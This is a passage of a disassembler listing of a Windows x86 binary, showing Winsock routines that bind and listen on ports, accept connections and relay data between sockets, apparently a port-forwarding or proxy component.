		lea	ecx, [edx+ebp-8]
		call	sub_13AC4C2
		push	ebx
		call	closesocket	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_13D5006:				; CODE XREF: sub_13D4C30+47j
		cmp	ax, 2
		jnz	loc_13D5093
		mov	ebx, select


loc_13D5016:				; CODE XREF: sub_13D4C30+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx ; select
		lea	edx, [esp+830h+var_818]
		lea	eax, [esp+830h+var_810]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+83Ch+var_5F4]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+848h+var_818], 10h
		call	recvfrom	; recvfrom
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+830h+var_5F4]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+838h+var_810]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_13AC01C
		test	edi, edi
		jz	short loc_13D5093
		cmp	edi, 0FFFFFFFFh
		jz	short loc_13D5093
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	near ptr 13E1380h
		test	eax, eax
		jnz	short loc_13D5016


loc_13D5093:				; CODE XREF: sub_13D4C30+67j
					; sub_13D4C30+7Aj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_13D4C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D51D0	proc near		; CODE XREF: sub_13AC319j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_13D51E4
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13D51E4:				; CODE XREF: sub_13D51D0+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_13D51F6
		dec	eax
		jz	short loc_13D5218
		mov	word ptr [esi+6], 1


loc_13D51F6:				; CODE XREF: sub_13D51D0+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_13D5200:				; CODE XREF: sub_13D51D0+52j
		push	ecx
		push	eax
		push	2
		call	socket	; socket
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_13D5224
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13D5218:				; CODE XREF: sub_13D51D0+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_13D5200
; ---------------------------------------------------------------------------


loc_13D5224:				; CODE XREF: sub_13D51D0+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		call	htons	; htons
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		call	bind	; bind
		test	eax, eax
		jz	short loc_13D5269
		mov	eax, [esi+32h]
		push	eax
		call	closesocket	; closesocket
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13D5269:				; CODE XREF: sub_13D51D0+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_13D5291
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		call	listen	; listen
		test	eax, eax
		jz	short loc_13D5291
		mov	edx, [esi+32h]
		push	edx
		call	closesocket	; closesocket
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_13D5291:				; CODE XREF: sub_13D51D0+9Ej
					; sub_13D51D0+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_13D51D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13D52E0	proc near		; CODE XREF: sub_13AC1BBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_13D52E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_13D537A
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_13D5361
		mov	ebx, accept
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx ; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_13D5346


loc_13D5332:				; CODE XREF: sub_13D52E0+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx ; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_13D5332


loc_13D5346:				; CODE XREF: sub_13D52E0+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		call	closesocket	; closesocket
		test	bl, bl
		jnz	short loc_13D539A


loc_13D5361:				; CODE XREF: sub_13D52E0+39j
					; sub_13D52E0+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		mov	eax, 42AF61h
		retn
; ---------------------------------------------------------------------------


loc_13D537A:				; CODE XREF: sub_13D52E0+2Bj
		cmp	ax, 2
		jnz	short loc_13D5361
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		call	closesocket	; closesocket
		test	bl, bl
		jz	short loc_13D5361


loc_13D539A:				; CODE XREF: sub_13D52E0+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_13D52E0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13D53F0	proc near		; CODE XREF: sub_13AC378j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_13D53F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		call	closesocket	; closesocket
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_13D53F0	endp

; ---------------------------------------------------------------------------
		mov	eax, 42B039h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D5480	proc near		; CODE XREF: sub_13AC017j

var_1A8		= dword	ptr -1A8h
var_19C		= byte ptr -19Ch
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h

		push	0FFFFFFFFh
		push	43BBDEh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		call	WSAStartup	; WSAStartup
		test	eax, eax
		jz	short loc_13D54F7


loc_13D54B7:				; CODE XREF: sub_13D5480+106j
		lea	ecx, [esp+1A8h]
		mov	byte ptr [esp+1A8h+var_C], 0
		call	sub_13AB626
		lea	ecx, [esp+1A8h+arg_14]
		mov	[esp+1A8h+var_C], 0FFFFFFFFh
		call	sub_13AB626
		mov	ecx, [esp+1A8h+var_14]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_13D54F7:				; CODE XREF: sub_13D5480+35j
		push	42h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+1A8h+var_1A8], eax
		test	eax, eax
		mov	byte ptr [esp+1A8h+var_C], 2
		jz	short loc_13D551C
		push	1
		mov	ecx, eax
		call	sub_13AB8E7
		jmp	short loc_13D551E
; ---------------------------------------------------------------------------


loc_13D551C:				; CODE XREF: sub_13D5480+8Fj
		xor	eax, eax


loc_13D551E:				; CODE XREF: sub_13D5480+9Aj
		mov	ds:dword_102C580, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+1A8h+var_C], 1
		mov	edx, [ecx+4]
		mov	cx, word ptr [esp+1A8h+var_4]
		mov	[edx+eax+4], cx
		mov	eax, ds:dword_102C580
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_13AC40E
		lea	eax, [esp+1ACh+arg_10]
		push	eax
		mov	eax, ds:dword_102C580
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_13AC40E
		mov	eax, ds:dword_102C580
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_13AC319
		test	al, al
		jz	loc_13D54B7


loc_13D558C:				; CODE XREF: sub_13D5480+11Dj
		mov	eax, ds:dword_102C580
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_13AC1BB
		jmp	short loc_13D558C
sub_13D5480	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D55F0	proc near		; CODE XREF: sub_13AB8E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_13D5612
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_13AB8AB


loc_13D5612:				; CODE XREF: sub_13D55F0+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset dword_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_13D55F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D5660	proc near		; CODE XREF: sub_13AB8ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43BC0Bh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_13AB824
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_13AB824
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	dword_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D5660	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D56F0	proc near		; CODE XREF: sub_13AC4D1j
		sub	ecx, [ecx-4]
		jmp	sub_13AB7A2
sub_13D56F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D5700	proc near		; CODE XREF: sub_13AB752j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43BC28h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC382
		push	offset dword_443D90
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E1A0
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D5700	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D5770	proc near		; CODE XREF: sub_13AB798j
					; .idata:013AC341j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB5BD
		test	[esp+4+arg_0], 1
		jz	short loc_13D5788
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D5788:				; CODE XREF: sub_13D5770+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D5770	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13D57A0	proc near		; CODE XREF: sub_13AB5BDj
		jmp	sub_13ABB9E
sub_13D57A0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D57C0	proc near		; CODE XREF: sub_13AB74Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	near ptr 13E0C60h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_13D584C
		mov	ebx, recv
		mov	ebp, send


loc_13D57EC:				; CODE XREF: sub_13D57C0+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx ; recv
		test	eax, eax
		jz	short loc_13D584C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D584C
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp ; send
		test	eax, eax
		jz	short loc_13D584C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D584C
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_13D57EC


loc_13D584C:				; CODE XREF: sub_13D57C0+1Ej
					; sub_13D57C0+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D5868
		push	eax
		call	closesocket	; closesocket


loc_13D5868:				; CODE XREF: sub_13D57C0+9Fj
		add	esp, 1000h
		retn
sub_13D57C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D58A0	proc near		; CODE XREF: sub_13ABA63j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43BC48h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC382
		push	offset dword_443D90
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E1B0
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D58A0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D5910	proc near		; CODE XREF: sub_13AB7A7j sub_13ABF22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13AB617
		test	[esp+4+arg_0], 1
		jz	short loc_13D5928
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D5928:				; CODE XREF: sub_13D5910+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D5910	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13D5940	proc near		; CODE XREF: sub_13AB617j
		jmp	sub_13ABB9E
sub_13D5940	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D5960	proc near		; CODE XREF: sub_13AB92Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	near ptr 13E0C60h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_13D5B2A
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		call	socket	; socket
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_13D59B8
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_13D59B8:				; CODE XREF: sub_13D5960+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		call	htons	; htons
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_13ABBE4
		push	eax
		call	sub_13ABC7F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_13D5A12
		mov	eax, [esi+0A5h]
		push	eax
		call	closesocket	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_13D5A12:				; CODE XREF: sub_13D5960+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		call	connect	; connect
		cmp	eax, edi
		jnz	short loc_13D5A42
		mov	eax, [esi+0A5h]
		push	eax
		call	closesocket	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_13D5A42:				; CODE XREF: sub_13D5960+C8j
		mov	edx, [esi+0A1h]
		mov	edi, ioctlsocket
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi ; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi ; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_13D5B2A
		mov	ebx, recv
		mov	ebp, send


loc_13D5A96:				; CODE XREF: sub_13D5960+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx ; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_13D5B2A
		jge	short loc_13D5AC0
		call	WSAGetLastError	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_13D5B22


loc_13D5AC0:				; CODE XREF: sub_13D5960+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp ; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx ; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_13D5B2A
		jge	short loc_13D5AFB
		call	WSAGetLastError	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_13D5B22


loc_13D5AFB:				; CODE XREF: sub_13D5960+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp ; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_13D5A96
		jmp	short loc_13D5B2A
; ---------------------------------------------------------------------------


loc_13D5B22:				; CODE XREF: sub_13D5960+15Ej
					; sub_13D5960+199j
		push	0Ah
		call	Sleep	; Sleep


loc_13D5B2A:				; CODE XREF: sub_13D5960+27j
					; sub_13D5960+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, closesocket
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D5B3E
		push	eax
		call	edi ; closesocket


loc_13D5B3E:				; CODE XREF: sub_13D5960+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_13D5B4C
		push	esi
		call	edi ; closesocket


loc_13D5B4C:				; CODE XREF: sub_13D5960+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_13D5960	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D5BE0	proc near		; CODE XREF: sub_13ABA5Ej

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	43BC68h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_13AC382
		push	offset dword_443D90
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	dword_43E1C0
		call	sub_13AB9D7
		mov	ecx, [esp+18h+var_10]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_13D5BE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D5C50	proc near		; CODE XREF: sub_13AB9F0j sub_13AC3AAj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_13ABF8B
		test	[esp+4+arg_0], 1
		jz	short loc_13D5C68
		push	esi
		call	near ptr 13E0C02h
		add	esp, 4


loc_13D5C68:				; CODE XREF: sub_13D5C50+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_13D5C50	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_13D5C80	proc near		; CODE XREF: sub_13ABF8Bj
		jmp	sub_13ABB9E
sub_13D5C80	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D5CA0	proc near		; CODE XREF: sub_13ABDE2j

var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	43BC8Bh
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_13ABBE4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_13ABBE4
		push	eax
		push	offset dword_445398
		mov	ecx, ebp
		call	sub_13AB8D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 24h
		push	6
		push	1
		push	2
		call	socket	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_13D5ED8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		call	htons	; htons
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		call	bind	; bind
		test	eax, eax
		jz	short loc_13D5D8B
		mov	edx, [esi+9Dh]
		push	edx
		call	closesocket	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_13D5D8B:				; CODE XREF: sub_13D5CA0+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_13D5E84


loc_13D5D9F:				; CODE XREF: sub_13D5CA0+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		call	listen	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_13D5E65
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+40h+var_30]
		lea	eax, [esp+40h+var_18]
		push	edx
		push	eax
		push	ecx
		call	accept	; accept
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_13D5E65
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_13D5E65
		push	0A9h
		call	near ptr 13E0C1Ah
		add	esp, 4
		mov	[esp+38h+var_24], eax
		cmp	eax, edi
		mov	[esp+38h+arg_4], edi
		jz	short loc_13D5E05
		mov	ecx, eax
		call	sub_13ABA63
		mov	edi, eax


loc_13D5E05:				; CODE XREF: sub_13D5CA0+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+3Ch+arg_4], 0FFFFFFFFh
		call	sub_13AC3BE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_13AC3BE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_13AB7D4


loc_13D5E65:				; CODE XREF: sub_13D5CA0+111j
					; sub_13D5CA0+133j ...
		push	0FAh
		call	Sleep	; Sleep
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_13D5D9F


loc_13D5E84:				; CODE XREF: sub_13D5CA0+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_13D5E96
		push	eax
		call	closesocket	; closesocket


loc_13D5E96:				; CODE XREF: sub_13D5CA0+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_13ABBE4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_13ABBE4
		push	eax
		push	offset dword_445358
		lea	ecx, [esi+26h]
		call	sub_13AB8D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_E19CC5
		call	sub_13ABC48
		add	esp, 24h


loc_13D5ED8:				; CODE XREF: sub_13D5CA0+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_13D5CA0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_13D5F90	proc near		; CODE XREF: sub_13AC5DFj

var_78		= byte ptr -78h
var_6C		= byte ptr -6Ch
var_60		= byte ptr -60h
var_54		= dword	ptr -54h
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_40		= dword	ptr -40h
